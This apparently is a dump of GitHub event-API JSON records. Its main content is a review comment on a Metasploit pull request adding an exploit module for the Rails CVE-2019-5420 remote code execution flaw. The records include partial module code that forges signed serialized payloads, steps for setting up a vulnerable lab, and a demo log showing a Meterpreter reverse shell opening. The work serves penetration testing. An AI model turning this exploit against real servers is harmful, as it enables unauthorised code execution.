(openHAB)","fork":true,"url":"https://api.github.com/repos/lolodomo/openhab2-addons","forks_url":"https://api.github.com/repos/lolodomo/openhab2-addons/forks","keys_url":"https://api.github.com/repos/lolodomo/openhab2-addons/keys{/key_id}","collaborators_url":"https://api.github.com/repos/lolodomo/openhab2-addons/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/lolodomo/openhab2-addons/teams","hooks_url":"https://api.github.com/repos/lolodomo/openhab2-addons/hooks","issue_events_url":"https://api.github.com/repos/lolodomo/openhab2-addons/issues/events{/number}","events_url":"https://api.github.com/repos/lolodomo/openhab2-addons/events","assignees_url":"https://api.github.com/repos/lolodomo/openhab2-addons/assignees{/user}","branches_url":"https://api.github.com/repos/lolodomo/openhab2-addons/branches{/branch}","tags_url":"https://api.github.com/repos/lolodomo/openhab2-addons/tags","blobs_url":"https://api.github.com/repos/lolodomo/openhab2-addons/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/lolodomo/openhab2-addons/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/lolodomo/openhab2-addons/git/refs{/sha}","trees_url":"https://api.github.com/repos/lolodomo/openhab2-addons/git/trees{/sha}","statuses_url":"https://api.github.com/repos/lolodomo/openhab2-addons/statuses/{sha}","languages_url":"https://api.github.com/repos/lolodomo/openhab2-addons/languages","stargazers_url":"https://api.github.com/repos/lolodomo/openhab2-addons/stargazers","contributors_url":"https://api.github.com/repos/lolodomo/openhab2-addons/contributors","subscribers_url":"https://api.github.com/repos/lolodomo/openhab2-addons/subscribers","subscription_url":"https://api.github.com/repos/lolodomo/openhab2-addons/subscription","commits_url":"https://api.github.com/repos/lolodomo/openhab2-addons/commits{/sha}","git_commits_url":"https://api.github.com/repos/lolodomo/openhab2-addons/git/commits{/sha}","comments_url":"https://api.github.com/repos/lolodomo/openhab2-addons/comments{/number}","issue_comment_url":"https://api.github.com/repos/lolodomo/openhab2-addons/issues/comments{/number}","contents_url":"https://api.github.com/repos/lolodomo/openhab2-addons/contents/{+path}","compare_url":"https://api.github.com/repos/lolodomo/openhab2-addons/compare/{base}...{head}","merges_url":"https://api.github.com/repos/lolodomo/openhab2-addons/merges","archive_url":"https://api.github.com/repos/lolodomo/openhab2-addons/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/lolodomo/openhab2-addons/downloads","issues_url":"https://api.github.com/repos/lolodomo/openhab2-addons/issues{/number}","pulls_url":"https://api.github.com/repos/lolodomo/openhab2-addons/pulls{/number}","milestones_url":"https://api.github.com/repos/lolodomo/openhab2-addons/milestones{/number}","notifications_url":"https://api.github.com/repos/lolodomo/openhab2-addons/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/lolodomo/openhab2-addons/labels{/name}","releases_url":"https://api.github.com/repos/lolodomo/openhab2-addons/releases{/id}","deployments_url":"https://api.github.com/repos/lolodomo/openhab2-addons/deployments","created_at":"2016-05-04T11:25:41Z","updated_at":"2019-03-20T11:04:31Z","pushed_at":"2019-07-24T12:42:41Z","git_url":"git://github.com/lolodomo/openhab2-addons.git","ssh_url":"git@github.com:lolodomo/openhab2-addons.git","clone_url":"https://github.com/lolodomo/openhab2-addons.git","svn_url":"https://github.com/lolodomo/openhab2-addons","homepage":null,"size":183665,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"epl-2.0","name":"Eclipse Public License 2.0","spdx_id":"EPL-2.0","url":"https://api.github.com/licenses/epl-2.0","node_id":"MDc6TGljZW5zZTMy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"openhab:master","ref":"master","sha":"065337398dd13f0e38f2415c44803f9b50c608d1","user":{"login":"openhab","id":1007353,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMDczNTM=","avatar_url":"https://avatars0.githubusercontent.com/u/1007353?v=4","gravatar_id":"","url":"https://api.github.com/users/openhab","html_url":"https://github.com/openhab","followers_url":"https://api.github.com/users/openhab/followers","following_url":"https://api.github.com/users/openhab/following{/other_user}","gists_url":"https://api.github.com/users/openhab/gists{/gist_id}","starred_url":"https://api.github.com/users/openhab/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openhab/subscriptions","organizations_url":"https://api.github.com/users/openhab/orgs","repos_url":"https://api.github.com/users/openhab/repos","events_url":"https://api.github.com/users/openhab/events{/privacy}","received_events_url":"https://api.github.com/users/openhab/received_events","type":"Organization","site_admin":false},"repo":{"id":19753195,"node_id":"MDEwOlJlcG9zaXRvcnkxOTc1MzE5NQ==","name":"openhab2-addons","full_name":"openhab/openhab2-addons","private":false,"owner":{"login":"openhab","id":1007353,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMDczNTM=","avatar_url":"https://avatars0.githubusercontent.com/u/1007353?v=4","gravatar_id":"","url":"https://api.github.com/users/openhab","html_url":"https://github.com/openhab","followers_url":"https://api.github.com/users/openhab/followers","following_url":"https://api.github.com/users/openhab/following{/other_user}","gists_url":"https://api.github.com/users/openhab/gists{/gist_id}","starred_url":"https://api.github.com/users/openhab/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openhab/subscriptions","organizations_url":"https://api.github.com/users/openhab/orgs","repos_url":"https://api.github.com/users/openhab/repos","events_url":"https://api.github.com/users/openhab/events{/privacy}","received_events_url":"https://api.github.com/users/openhab/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/openhab/openhab2-addons","description":"Add-ons for openHAB 2.x","fork":false,"url":"https://api.github.com/repos/openhab/openhab2-addons","forks_url":"https://api.github.com/repos/openhab/openhab2-addons/forks","keys_url":"https://api.github.com/repos/openhab/openhab2-addons/keys{/key_id}","collaborators_url":"https://api.github.com/repos/openhab/openhab2-addons/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/openhab/openhab2-addons/teams","hooks_url":"https://api.github.com/repos/openhab/openhab2-addons/hooks","issue_events_url":"https://api.github.com/repos/openhab/openhab2-addons/issues/events{/number}","events_url":"https://api.github.com/repos/openhab/openhab2-addons/events","assignees_url":"https://api.github.com/repos/openhab/openhab2-addons/assignees{/user}","branches_url":"https://api.github.com/repos/openhab/openhab2-addons/branches{/branch}","tags_url":"https://api.github.com/repos/openhab/openhab2-addons/tags","blobs_url":"https://api.github.com/repos/openhab/openhab2-addons/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/openhab/openhab2-addons/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/openhab/openhab2-addons/git/refs{/sha}","trees_url":"https://api.github.com/repos/openhab/openhab2-addons/git/trees{/sha}","statuses_url":"https://api.github.com/repos/openhab/openhab2-addons/statuses/{sha}","languages_url":"https://api.github.com/repos/openhab/openhab2-addons/languages","stargazers_url":"https://api.github.com/repos/openhab/openhab2-addons/stargazers","contributors_url":"https://api.github.com/repos/openhab/openhab2-addons/contributors","subscribers_url":"https://api.github.com/repos/openhab/openhab2-addons/subscribers","subscription_url":"https://api.github.com/repos/openhab/openhab2-addons/subscription","commits_url":"https://api.github.com/repos/openhab/openhab2-addons/commits{/sha}","git_commits_url":"https://api.github.com/repos/openhab/openhab2-addons/git/commits{/sha}","comments_url":"https://api.github.com/repos/openhab/openhab2-addons/comments{/number}","issue_comment_url":"https://api.github.com/repos/openhab/openhab2-addons/issues/comments{/number}","contents_url":"https://api.github.com/repos/openhab/openhab2-addons/contents/{+path}","compare_url":"https://api.github.com/repos/openhab/openhab2-addons/compare/{base}...{head}","merges_url":"https://api.github.com/repos/openhab/openhab2-addons/merges","archive_url":"https://api.github.com/repos/openhab/openhab2-addons/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/openhab/openhab2-addons/downloads","issues_url":"https://api.github.com/repos/openhab/openhab2-addons/issues{/number}","pulls_url":"https://api.github.com/repos/openhab/openhab2-addons/pulls{/number}","milestones_url":"https://api.github.com/repos/openhab/openhab2-addons/milestones{/number}","notifications_url":"https://api.github.com/repos/openhab/openhab2-addons/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/openhab/openhab2-addons/labels{/name}","releases_url":"https://api.github.com/repos/openhab/openhab2-addons/releases{/id}","deployments_url":"https://api.github.com/repos/openhab/openhab2-addons/deployments","created_at":"2014-05-13T19:41:58Z","updated_at":"2019-07-30T10:02:22Z","pushed_at":"2019-07-30T10:58:39Z","git_url":"git://github.com/openhab/openhab2-addons.git","ssh_url":"git@github.com:openhab/openhab2-addons.git","clone_url":"https://github.com/openhab/openhab2-addons.git","svn_url":"https://github.com/openhab/openhab2-addons","homepage":"","size":358560,"stargazers_count":1158,"watchers_count":1158,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":2051,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":466,"license":{"key":"epl-2.0","name":"Eclipse Public License 2.0","spdx_id":"EPL-2.0","url":"https://api.github.com/licenses/epl-2.0","node_id":"MDc6TGljZW5zZTMy"},"forks":2051,"open_issues":466,"watchers":1158,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/openhab/openhab2-addons/pulls/4842"},"html":{"href":"https://github.com/openhab/openhab2-addons/pull/4842"},"issue":{"href":"https://api.github.com/repos/openhab/openhab2-addons/issues/4842"},"comments":{"href":"https://api.github.com/repos/openhab/openhab2-addons/issues/4842/comments"},"review_comments":{"href":"https://api.github.com/repos/openhab/openhab2-addons/pulls/4842/comments"},"review_comment":{"href":"https://api.github.com/repos/openhab/openhab2-addons/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/openhab/openhab2-addons/pulls/4842/commits"},"statuses":{"href":"https://api.github.com/repos/openhab/openhab2-addons/statuses/3e133aab18f2c81337578d1282eb633efd1ebe60"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 19753195,
"name": "openhab/openhab2-addons",
"url": "https://api.github.com/repos/openhab/openhab2-addons"
}
|
{
"id": 3244965,
"login": "kaikreuzer",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/3244965?",
"url": "https://api.github.com/users/kaikreuzer"
}
|
{
"id": 1007353,
"login": "openhab",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1007353?",
"url": "https://api.github.com/orgs/openhab"
}
| 2019-07-30T15:43:05 |
10112987841
|
{"actor":{"display_login":"kaikreuzer"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/279559421","pull_request_review_id":231924538,"id":279559421,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI3OTU1OTQyMQ==","diff_hunk":"@@ -0,0 +1,229 @@\n+##\n+# This module requires Metasploit: https://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+class MetasploitModule < Msf::Exploit::Remote\n+ Rank = ExcellentRanking\n+\n+ include Msf::Exploit::Remote::HttpClient\n+ include Msf::Exploit::EXE\n+ include Msf::Exploit::FileDropper\n+ include Msf::Auxiliary::Report\n+\n+ def initialize(info={})\n+ super(update_info(info,\n+ 'Name' => 'Ruby On Rails DoubleTap Development Mode secret_key_base Vulnerability',\n+ 'Description' => %q{\n+ This module exploits a vulnerability in Ruby on Rails. In development mode, a Rails\n+ application would use its name as the secret_key_base, and can be easily extracted by\n+ visiting an invalid resource for a path. As a result, this allows a remote user to\n+ create and deliver a signed serialized payload, load it by the application, and gain\n+ remote code execution.\n+ },\n+ 'License' => MSF_LICENSE,\n+ 'Author' =>\n+ [\n+ 'ooooooo_q', # Reported the vuln on hackerone\n+ 'mpgn', # Proof-of-Concept\n+ 'sinn3r' # Metasploit module\n+ ],\n+ 'References' =>\n+ [\n+ [ 'CVE', '2019-5420' ],\n+ [ 'URL', 'https://hackerone.com/reports/473888' ],\n+ [ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],\n+ [ 'URL', 'https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2019-5420/rubyonrails-security/IsQKvDqZdKw/UYgRCJz2CgAJ' ]\n+ ],\n+ 'Platform' => 'linux',\n+ 'Targets' =>\n+ [\n+ [ 'Ruby on Rails 5.2', { } ]\n+ ],\n+ 'DefaultOptions' =>\n+ {\n+ 'RPORT' => 3000\n+ },\n+ 'Notes' =>\n+ {\n+ 'AKA' => [ 'doubletap' ],\n+ 'Stability' => [ CRASH_SAFE ],\n+ 'SideEffects' => [ IOC_IN_LOGS ]\n+ },\n+ 'Privileged' => false,\n+ 'DisclosureDate' => 'Mar 13 2019',\n+ 'DefaultTarget' => 0))\n+\n+ register_options(\n+ [\n+ OptString.new('TARGETURI', [true, 'The route for the Rails application', '/']),\n+ ])\n+ end\n+\n+ NO_RAILS_ROOT_MSG = 'No Rails.root info'\n+\n+ # These mocked classes are borrowed from Rails 5. I had to do this because Metasploit\n+ # still uses Rails 4, and we don't really know when we will be able to upgrade it.\n+\n+ class Messages\n+ class Metadata\n+ def initialize(message, expires_at = nil, purpose = nil)\n+ @message, @expires_at, @purpose = message, expires_at, purpose\n+ end\n+\n+ def as_json(options = {})\n+ { _rails: { message: @message, exp: @expires_at, pur: @purpose } }\n+ end\n+\n+ def self.wrap(message, expires_at: nil, expires_in: nil, purpose: nil)\n+ if expires_at || expires_in || purpose\n+ ActiveSupport::JSON.encode new(encode(message), pick_expiry(expires_at, expires_in), purpose)\n+ else\n+ message\n+ end\n+ end\n+\n+ private\n+\n+ def self.pick_expiry(expires_at, expires_in)\n+ if expires_at\n+ expires_at.utc.iso8601(3)\n+ elsif expires_in\n+ Time.now.utc.advance(seconds: expires_in).iso8601(3)\n+ end\n+ end\n+\n+ def self.encode(message)\n+ Rex::Text::encode_base64(message)\n+ end\n+ end\n+ end\n+\n+ class MessageVerifier\n+ def initialize(secret, options = {})\n+ raise ArgumentError, 'Secret should not be nil.' unless secret\n+ @secret = secret\n+ @digest = options[:digest] || 'SHA1'\n+ @serializer = options[:serializer] || Marshal\n+ end\n+\n+ def generate(value, expires_at: nil, expires_in: nil, purpose: nil)\n+ data = encode(Messages::Metadata.wrap(@serializer.dump(value), expires_at: expires_at, expires_in: expires_in, purpose: purpose))\n+ \"#{data}--#{generate_digest(data)}\"\n+ end\n+\n+ private\n+\n+ def generate_digest(data)\n+ require \"openssl\" unless defined?(OpenSSL)\n+ OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data)\n+ end\n+\n+ def encode(message)\n+ Rex::Text::encode_base64(message)\n+ end\n+ end\n+\n+ def check\n+ check_code = Exploit::CheckCode::Safe","path":"modules/exploits/multi/http/rails_double_tap.rb","position":128,"original_position":128,"commit_id":"2141036f1310959ccc0051660060a7d20fddb667","original_commit_id":"2141036f1310959ccc0051660060a7d20fddb667","user":{"login":"bcoles","id":434827,"node_id":"MDQ6VXNlcjQzNDgyNw==","avatar_url":"https://avatars2.githubusercontent.com/u/434827?v=4","gravatar_id":"","url":"https://api.github.com/users/bcoles","html_url":"https://github.com/bcoles","followers_url":"https://api.github.com/users/bcoles/followers","following_url":"https://api.github.com/users/bcoles/following{/other_user}","gists_url":"https://api.github.com/users/bcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/bcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcoles/subscriptions","organizations_url":"https://api.github.com/users/bcoles/orgs","repos_url":"https://api.github.com/users/bcoles/repos","events_url":"https://api.github.com/users/bcoles/events{/privacy}","received_events_url":"https://api.github.com/users/bcoles/received_events","type":"User","site_admin":false},"body":"```ruby\r\n def check\r\n check_code = CheckCode::Safe\r\n\r\n app_name = get_application_name\r\n\r\n check_code = CheckCode::Appears unless app_name.blank?\r\n\r\n test_payload = %Q|puts 1|\r\n rails_payload = generate_rails_payload(app_name, test_payload)\r\n result = send_serialized_payload(rails_payload)\r\n\r\n check_code = CheckCode::Vulnerable if result\r\n\r\n check_code\r\n rescue Msf::Exploit::Failed => e\r\n vprint_error(e.message)\r\n return check_code if e.message.to_s.include? NO_RAILS_ROOT_MSG\r\n CheckCode::Unknown\r\n end\r\n```\r\n","created_at":"2019-04-29T22:13:33Z","updated_at":"2019-04-29T22:15:25Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/11779#discussion_r279559421","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/11779","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/279559421"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/11779#discussion_r279559421"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/11779"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/11779","id":273691986,"node_id":"MDExOlB1bGxSZXF1ZXN0MjczNjkxOTg2","html_url":"https://github.com/rapid7/metasploit-framework/pull/11779","diff_url":"https://github.com/rapid7/metasploit-framework/pull/11779.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/11779.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/11779","number":11779,"state":"open","locked":false,"title":"Add CVE-2019-5420 : Ruby on Rails DoubleTap Development Mode secret_key_base Vulnerability","user":{"login":"wchen-r7","id":1170914,"node_id":"MDQ6VXNlcjExNzA5MTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/1170914?v=4","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"body":"# Background\r\n\r\nThis module exploits a vulnerability in Ruby on Rails. In development mode, a Rails application would use its name as the secret_key_base, and can be easily extracted by visiting an invalid resource for a path. As a result, this allows a remote user to create and deliver a signed serialized payload, load it by the application, and gain remote code execution.\r\n\r\n# Vulnerable Setup\r\n\r\nIn order to set up a vulnerable box for testing, do this on a Linux machine (such as Ubuntu), and assuming you already have rvm installed:\r\n\r\n```\r\n$ rvm gemset create test\r\n$ rvm gemset use test\r\n$ gem install rails '5.2.1'\r\n$ rails new demo\r\n```\r\n\r\nNext, cd to demo, and then modify the Gemfile like this:\r\n\r\n```\r\n$ echo \"gem 'rails', '5.2.1'\" >> Gemfile\r\n$ echo \"gem 'sqlite3', '~> 1.3.6', '< 1.4'\" >> Gemfile\r\n$ echo \"source 'https://rubygems.org'\" >> Gemfile\r\n$ bundle\r\n```\r\n\r\nNext, add a new controller:\r\n\r\n```\r\nrails generate controller metasploit\r\n```\r\n\r\nAnd add the index method for that controller (under app/controllers/metasploit_controllers.rb):\r\n\r\n```\r\nclass MetasploitController < ApplicationController\r\n def index\r\n render file: \"#{Rails.root}/test.html\"\r\n end\r\nend\r\n```\r\n\r\nIn the root directory, add a new test.html:\r\n\r\n```\r\necho Hello World > test.html\r\n```\r\n\r\nAlso, add that new route in config/routes.rb:\r\n\r\n```\r\nRails.application.routes.draw do\r\n resources :metasploit\r\nend\r\n```\r\n\r\nAnd finally, start the application (since no mode is specified, by default, it is development mode):\r\n\r\n```\r\nrails s -b 0.0.0.0\r\n```\r\n\r\n# Demo\r\n\r\n```\r\nmsf5 exploit(multi/http/rails_double_tap) > check\r\n[+] 172.16.249.141:3000 - The target is vulnerable.\r\nmsf5 exploit(multi/http/rails_double_tap) > exploit\r\n\r\n[*] Started reverse TCP handler on 172.16.249.1:4444 \r\n[*] Attempting to retrieve the application name...\r\n[*] The application name is: Demo\r\n[*] Stager ready: 433 bytes\r\n[*] Sending serialized payload to target (1250 bytes)\r\n[*] Sending stage (985320 bytes) to 172.16.249.141\r\n[*] Meterpreter session 1 opened (172.16.249.1:4444 -> 172.16.249.141:62572) at 2019-04-25 16:29:43 -0500\r\n[+] Deleted /tmp/LsvSGK.bin\r\n[+] Deleted /tmp/tSJfp.bin\r\n\r\nmeterpreter > getuid\r\nServer username: uid=1000, gid=1000, euid=1000, egid=1000\r\nmeterpreter > pwd\r\n/home/sinn3r/demo\r\nmeterpreter >\r\n```","created_at":"2019-04-25T21:38:04Z","updated_at":"2019-04-29T22:15:25Z","closed_at":null,"merged_at":null,"merge_commit_sha":"52eb802870d7dda59fde414ab60d3f160e005f83","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":103436215,"node_id":"MDU6TGFiZWwxMDM0MzYyMTU=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"941E94","default":false},{"id":103436014,"node_id":"MDU6TGFiZWwxMDM0MzYwMTQ=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/11779/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/11779/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/11779/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/2141036f1310959ccc0051660060a7d20fddb667","head":{"label":"wchen-r7:rails_double_tap","ref":"rails_double_tap","sha":"2141036f1310959ccc0051660060a7d20fddb667","user":{"login":"wchen-r7","id":1170914,"node_id":"MDQ6VXNlcjExNzA5MTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/1170914?v=4","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"repo":{"id":3789747,"node_id":"MDEwOlJlcG9zaXRvcnkzNzg5NzQ3","name":"metasploit-framework","full_name":"wchen-r7/metasploit-framework","private":false,"owner":{"login":"wchen-r7","id":1170914,"node_id":"MDQ6VXNlcjExNzA5MTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/1170914?v=4","gravatar_id":"","url":"https://api.github.com/users/wchen-r7","html_url":"https://github.com/wchen-r7","followers_url":"https://api.github.com/users/wchen-r7/followers","following_url":"https://api.github.com/users/wchen-r7/following{/other_user}","gists_url":"https://api.github.com/users/wchen-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wchen-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wchen-r7/subscriptions","organizations_url":"https://api.github.com/users/wchen-r7/orgs","repos_url":"https://api.github.com/users/wchen-r7/repos","events_url":"https://api.github.com/users/wchen-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wchen-r7/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wchen-r7/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/wchen-r7/metasploit-framework","forks_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/wchen-r7/metasploit-framework/deployments","created_at":"2012-03-21T18:19:05Z","updated_at":"2018-04-23T14:36:26Z","pushed_at":"2019-04-26T18:00:16Z","git_url":"git://github.com/wchen-r7/metasploit-framework.git","ssh_url":"git@github.com:wchen-r7/metasploit-framework.git","clone_url":"https://github.com/wchen-r7/metasploit-framework.git","svn_url":"https://github.com/wchen-r7/metasploit-framework","homepage":"http://www.metasploit.com/","size":404389,"stargazers_count":8,"watchers_count":8,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":5,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":5,"open_issues":0,"watchers":8,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"b5f164335eb82d6329ef78a7f4567567debd80b5","user":{"login":"rapid7","id":1013671,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTM2NzE=","avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"node_id":"MDEwOlJlcG9zaXRvcnkyMjkzMTU4","name":"metasploit-framework","full_name":"rapid7/metasploit-framework","private":false,"owner":{"login":"rapid7","id":1013671,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEwMTM2NzE=","avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit 